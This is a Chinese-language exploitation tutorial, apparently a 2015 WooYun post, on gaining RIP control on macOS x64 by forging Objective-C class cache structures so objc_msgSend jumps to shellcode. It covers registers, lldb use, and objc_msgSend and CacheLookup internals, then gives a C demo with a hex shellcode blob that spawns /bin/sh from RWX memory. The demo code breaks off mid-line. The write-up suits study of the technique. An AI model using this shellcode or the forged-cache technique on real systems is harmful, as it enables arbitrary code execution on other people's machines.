Max OS X x64 环境下覆盖objective-c类结构并通过objc_msgSend获得RIP执行shellcode

2015-6-5 11:19 |来自: WooYun知识库 1562 0

摘要: 阅读学习国外nemo大牛《Modern Objective-C Exploitation Techniques》文章的内容，就想在最新的OS X版本上调试出作者给出的代码。控制rip。我根据自己的调试，修改了原程序，才调试成功。对大牛原程序的部分代码的 ...

关键词： msgSend objc 函数 buckets Objective cache Talker 方法命令 mask

阅读学习国外nemo大牛《Modern Objective-C Exploitation Techniques》文章的内容，就想在最新的OS X版本上调试出作者给出的代码。控制rip。我根据自己的调试，修改了原程序，才调试成功。对大牛原程序的部分代码的意图和计算方法难免理解不足，欢迎留言与我交流学习。本文主要简要介绍下对objective-c类的覆盖到控制rip的技术。是目前OS X平台下，比较主流的一种溢出利用方式。

0x01 64位汇编知识及lldb简单调试命令

汇编知识主要是在调试的时候使用，在64位平台下调试必不可少的知识。对此熟悉的读者可直接跳过。下面简要介绍下64位汇编。

RIP的就是64位的指令寄存器。

通用64位寄存器

RAX RBX RCX RDX RBP RSI RDI RSP

R8 －－－ R15

可以使用

EAX 访问RAX的低32bits
AX 访问RAX的低16bits
AL 访问RAX的低8bist
AH 访问RAX低16bits的高8bits

OS X 64位的汇编调用约定，可以参考AMD64 Application Binary Inte**ce

x86-64 Function Calling convention:

If the class is MEMORY, pass the argument on the stack.
If the class is INTEGER, the next available register of the sequence %rdi, %rsi, %rdx, %rcx, %r8 and %r9 is used.

可以看到和32位汇编的通过push压栈来传递参数不同，函数的参数传递基本是通过寄存器来完成的。顺序如上。 32位汇编通过int 0x80来进行系统调用，64位汇编是通过syscall来调用的。

lldb是苹果公司推出的用以替代gdb的调试器。随xcode一起安装。是进行动态调试的利器。调试时必不可少。下面简要介绍下会用到的一些基础命令：

在命令行输入lldb，就会进入调试工具

(lldb)

help会显示所有的命令，需要详细了解可以用输入help ＋命令查询

file命令加载需要调试的程序

(lldb) file /Users/vvun91e0n/Desktop/OC64exploit
Current executable set to '/Users/vvun91e0n/Desktop/OC64exploit' (x86_64).

breakpoint set用来设置断点

(lldb) breakpoint set --name length

breakpoint list可以用来查看所有断点 breakpoint disable 关闭断点 breakpoint enable 激活断点 ni 单步步不执行指令

run或r启动进程进行调试

(lldb) re r rdi r10 rsi
 rdi = 0x0000000100202fa0
 r10 = 0x0000000000000001
 rsi = 0x00007fff907bb509

memory read 可以读取指定地址的内存数据，如下指定地址就是length字符串。也可以使用gdb风格的x 0x00007fff907bb509命令来读取内存数据。

(lldb) memory read 0x00007fff907bb509
0x7fff907bb509: 6c 65 6e 67 74 68 00 69 73 54 79 70 65 4e 6f 74  length.isTypeNot
0x7fff907bb519: 45 78 63 6c 75 73 69 76 65 3a 00 61 70 70 65 6e  Exclusive:.appen
(lldb) x 0x00007fff907bb509
0x7fff907bb509: 6c 65 6e 67 74 68 00 69 73 54 79 70 65 4e 6f 74  length.isTypeNot
0x7fff907bb519: 45 78 63 6c 75 73 69 76 65 3a 00 61 70 70 65 6e  Exclusive:.appen

continue 或者c 命令来继续执行。 kill来结束进程。run来重新启动。其他如条件断点，修改寄存器值等命令读者可以使用help命令了解。

0x02 objective-c方法调用

你需要对objective-c语言有一定的基本的了解。特别是objc_msgSend函数的调用机制。可以参考：《The Objective-C Runtime: Understanding and Abusing》。这篇文章是nemo2009年发表在phrack上的。在32位系统基础上讲Objective-C Runtime溢出的文章。还是有阅读价值的。特别是对后面64位溢出的理解。

下面简要介绍下objective-c，先看看一个简单的类实现和调用：

#!c
//  Talker.h
#import <Foundation/Foundation.h>
@inte**ce Talker : NSObject		//定义一个类
- (void) say: (char *) str;		 //声明一个say方法
@end
//  Talker.m
#import "Talker.h"
@implementation Talker			  //类的相关方法实现
- (void) say: (char *) phrase
{
  printf("%s\n",phrase);
}
@end
//main.m
#import "Talker.h"
int main(int argc, const char * argv[]) {
  @autoreleasepool {
    // insert code here...
    Talker *talker = [[Talker alloc] init];//分配内存，初始化
    [talker say: "Hello, World!"];		  //调用say方法
  }
  return 0;
}

如上面代码所示，定义了一个Talker类，并在main函数中调用了say方法。可以看出objective-c语言的方法调用语法为

主程序进行了3次函数调用

class  | method 
-------|-----------         
Talker | alloc
talker | init 
talker | say

将上面的代码在xcode中编译生成后的程序放入Hopper静态反汇编后，会得到一下汇编代码（注：这个事release版的结果，debug版的反汇编结果稍有不同）

#!bash
mov     rdi, qword [ds:objc_cls_ref_Talker]     ; objc_cls_ref_Talker, argument "instance" for method _objc_msgSend
mov     rsi, qword [ds:0x1000010f8]             ; @selector(alloc), argument "selector" for method _objc_msgSend
mov     r15, qword [ds:imp___got__objc_msgSend] ; imp___got__objc_msgSend
call    r15                                     ; _objc_msgSend
mov     rsi, qword [ds:0x100001100]             ; @selector(init), argument "selector" for method _objc_msgSend
mov     rdi, rax                                ; argument "instance" for method _objc_msgSend
call    r15                                     ; _objc_msgSend
mov     rbx, rax
mov     rsi, qword [ds:0x100001108]             ; @selector(say:), argument "selector" for method _objc_msgSend
lea     rdx, qword [ds:0x100000f70]             ; "Hello, World!"
mov     rdi, rbx                                ; argument "instance" for method _objc_msgSend
call    r15                                     ; _objc_msgSend

可以看出在进行方法调用时并不是直接call方法地址，而是将方法的selector作为第二个参数传入rsi寄存器。与之前介绍的64位汇编调用约定一样。第一参数对象指针isa压入rdi。然后call r15调用objc_msgSend函数。这个函数就是需要研究利用的对象。相对于c语言在编译时就决定运行时所调用的函数的静态绑定。objectie-c语言利用了消息传递objc_msgSend函数在运行时，动态绑定调用函数。objective-c利用这个消息机制实现了runtime的方法调用。提高了语言的灵活性。使得objective-c成为了一门动态语言。

0x03 objective-c的类结构和objc_msgSend函数

在64位系统中，runtime进行了重新编写，类的实现由原来的c语言struct结构，变成了c++类。

struct objc_class : objc_object {
// Class ISA;
Class superclass;
cache_t cache;      // formerly cache pointer and vtable
class_data_bits_t bits; // class_rw_t * plus custom rr/alloc flags
… 
}

类的第一个变量指向父类，在查询不到需要调用的方法时，会向父类继续进行查询。第二个变量指向cache，这个cache缓存了最近调用方法的selector和imp（方法入口地址），之所以使用cache就是为了提高objective-c语言的动态绑定特性的效率。加快查询速度。

struct cache_t {
struct bucket_t *_buckets;
mask_t _mask;
mask_t _occupied;
… 
}

struct bucket_t {
private:
cache_key_t _key;
IMP _imp; 
...
}

cache的结构如上，cache里面的buckets指向一个bucket类，类里面的_key就是selector，指向选择子的字符串。_imp指向方法地址。

其中需要说明的是_mask。这个mask用来和输入的sel进行按位与，对结果进行处理，作为buckets数组的序号。加快选择速度，确定范围。在我们的实验代码里，根据调试发现mask实际上起到一个确定遍历范围的作用。

我的程序在mask的选择上，是根据我自己的调试结果设置的。nemo的源码的mask设置在我机器上运行后会取到非法内存。不知道是不是版本改变了更新了还是什么其他的原因导致的。我调试的时候lldb反汇编了objc_msgSend函数，对照该函数的源代码进行了调试。对nemo的代码进行了修改。读者可以同时看看nemo的源代码。还有几处我都做出了修改。

查询Objective-C Runtime Reference，可以得到该函数声明如下

#!bash
id objc_msgSend ( id self, SEL op, ... );
Parameters：
self    A pointer that points to the instance of the class that is to receive the message.
op      The selector of the method that handles the message.
...     A variable argument list containing the arguments to the method.

该函数的源代码是开源的，由汇编语言实现，以提高objective-c的执行效率。

大家看到第一个self参数实际就是指向实例的指针。第二个op参数就是sel，就是选择子。指向方法名字符串。

关于objc_msgSend的汇编源代码可以到苹果公司网站查看。以下是目前最新版本的链接地址 http://www.opensource.apple.com/source/objc4/objc4-646/runtime／Messengers.subproj/objc-msg-x86_64.s

下面给出源代码

#!c++
/********************************************************************
 *
 * id objc_msgSend(id self, SEL _cmd,...);
 *
 ********************************************************************/
  .data
  .align 3
  .globl _objc_debug_taggedpointer_classes
_objc_debug_taggedpointer_classes:
  .fill 16, 8, 0
  ENTRY   _objc_msgSend
  MESSENGER_START
  NilTest NORMAL
  GetIsaFast NORMAL	   // r11 = self->isa
  CacheLookup NORMAL	  // calls IMP on success
  NilTestSupport  NORMAL
  GetIsaSupport   NORMAL
// cache miss: go search the method lists
LCacheMiss:
  // isa still in r11
  MethodTableLookup %a1, %a2  // r11 = IMP
  cmp %r11, %r11	  // set eq (nonstret) for forwarding
  jmp *%r11		   // goto *imp
  END_ENTRY   _objc_msgSend
  ENTRY _objc_msgSend_fixup
  int3
  END_ENTRY _objc_msgSend_fixup
  STATIC_ENTRY _objc_msgSend_fixedup
  // Load _cmd from the message_ref
  movq	8(%a2), %a2
  jmp _objc_msgSend
  END_ENTRY _objc_msgSend_fixedup

可以看到该函数先获取isa指针，然后调用Cachelookup，在Cache中寻找sel，如果找不到就调用MethodTableLookup，在MethodTable中继续查找sel。这样只要我们能够覆盖类的内存，构造虚假的cache，提供正确的sel，就能够最终控制rip。对类结构进行溢出覆盖控制也是现在比较流行的OS X下溢出利用技术。

下面再来看看CacheLookup的源代码：

#!bash
.macro  CacheLookup
.if $0 != STRET  &&  $0 != SUPER_STRET  &&  $0 != SUPER2_STRET
  movq	%a2, %r10	   // r10 = _cmd
.else
  movq	%a3, %r10	   // r10 = _cmd
.endif
  andl	24(%r11), %r10d	 // r10 = _cmd & class->cache.mask
  shlq	$$4, %r10	   // r10 = offset = (_cmd & mask)<<4
  addq	16(%r11), %r10	  // r10 = class->cache.buckets + offset
.if $0 != STRET  &&  $0 != SUPER_STRET  &&  $0 != SUPER2_STRET
  cmpq	(%r10), %a2	 // if (bucket->sel != _cmd)
.else
  cmpq	(%r10), %a3	 // if (bucket->sel != _cmd)
.endif
  jne	 1f		  //	 scan more
  // CacheHit must always be preceded by a not-taken `jne` instruction
  CacheHit $0		 // call or return imp
1:
  // loop
  cmpq	$$0, (%r10)
  je  LCacheMiss_f		// if (bucket->sel == 0) cache miss
  cmpq	16(%r11), %r10
  je  3f		  // if (bucket == cache->buckets) wrap
  subq	$$16, %r10	  // bucket--
2:  
.if $0 != STRET  &&  $0 != SUPER_STRET  &&  $0 != SUPER2_STRET
  cmpq	(%r10), %a2	 // if (bucket->sel != _cmd)
.else
  cmpq	(%r10), %a3	 // if (bucket->sel != _cmd)
.endif
  jne	 1b		  //	 scan more
  // CacheHit must always be preceded by a not-taken `jne` instruction
  CacheHit $0		 // call or return imp
</code></pre>
其中的CacheHit就是在sel匹配成功后跳转到imp，从中可以看出mask的具体使用方法。
  andl	24(%r11), %r10d	 // r10 = _cmd & class->cache.mask
  shlq	$$4, %r10	   // r10 = offset = (_cmd & mask)<<4
  addq	16(%r11), %r10	  // r10 = class->cache.buckets + offset

sel和mask进行了andl操作，命令andl操作数是32位。而且后面的操作数时％r10d，表示的是r10的低32位。r10的高32位应该不变。但是读者在调试的时候可能会发现证明r10的高32位也置零了。

关于这里大家就需要查查Intel的手册。有这样一句：

• 32-bit operands generate a 32-bit result, zero-extended to a 64-bit result in the destination general-purpose register.

由此可见，andl命令会将结果扩展到64位。

之后，将与后的结果左移4位得到offset。将offset加到buckets的上。

初始时offset就指向来整个数组的最后。通过subq命令递减。

subq    $$16, %r10      // bucket--

从后向前来遍历buckets数组。如果命中了sel就可以跳到imp了。16就是我们bucket_t结构的大小。说了这么多。接下来就来看看代码。

0x04 具体代码及细节说明

完整代码如下：

#!c
/*
*   main.m
*   OC64exploit Demo
*
*   Author:	vvun91e0n
*   Date:	  2015-05-25
*   Tested on: Mac OS X 10.10.3 （Darwin kernel version 14.3.0）& 10.10.4
*   Base on: nemo's source code @ www.phrack.com/**s/modern_objc_exploitation.html
*   Shellcode on: Dustin Schultz‘source code @ www.exploit－db.com/exploits/15618
*/
#import <Foundation/Foundation.h>
#define NUMBUCKETS 0x20000
#define MASK  0x20000
#define BASESEL 0x7fff80000509	 //0x7fff907bb509 my "length" sel address
                   //may change in different os or different app
struct fakecache {
  char pad[0x10];
  long bucketptr;
  long mask;
};
struct cacheentry {
  long sel;
  long rip;
};
char shellcode[] =
"\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x17\x31\xff\x4c\x89\xc0"
"\x0f\x05\xeb\x12\x5f\x49\x83\xc0\x24\x4c\x89\xc0\x48\x31\xd2\x52"
"\x57\x48\x89\xe6\x0f\x05\xe8\xe9\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x2f\x73\x68";
int main(int argc, const char * argv[])
{
  struct fakecache fc;
  char num[50];
  unsigned int slide;
  void *pshellcode = mmap(0, 0x33, PROT_EXEC | PROT_WRITE
               | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
  if (pshellcode == MAP_FAILED) {
    printf("[+] shellcode mmap failed\n");
    exit(1);
  }
  memcpy(pshellcode, shellcode, sizeof(shellcode));
  printf("[+] Setting up shellcode\n");
  struct cacheentry *buckets = malloc((NUMBUCKETS+1) * sizeof(struct cacheentry));
  if(!buckets) {
    printf("[!] allocation failed.\n");
    exit(1);
  }
  for(slide = 0; slide <= NUMBUCKETS ; slide++) {
    buckets[slide].sel = BASESEL + (slide * 0x1000);
    buckets[slide].rip = (long)pshellcode;
  }
  printf("[+] Setting up buckets\n");
  NSString *l = [[NSString alloc] initWithUTF8Stri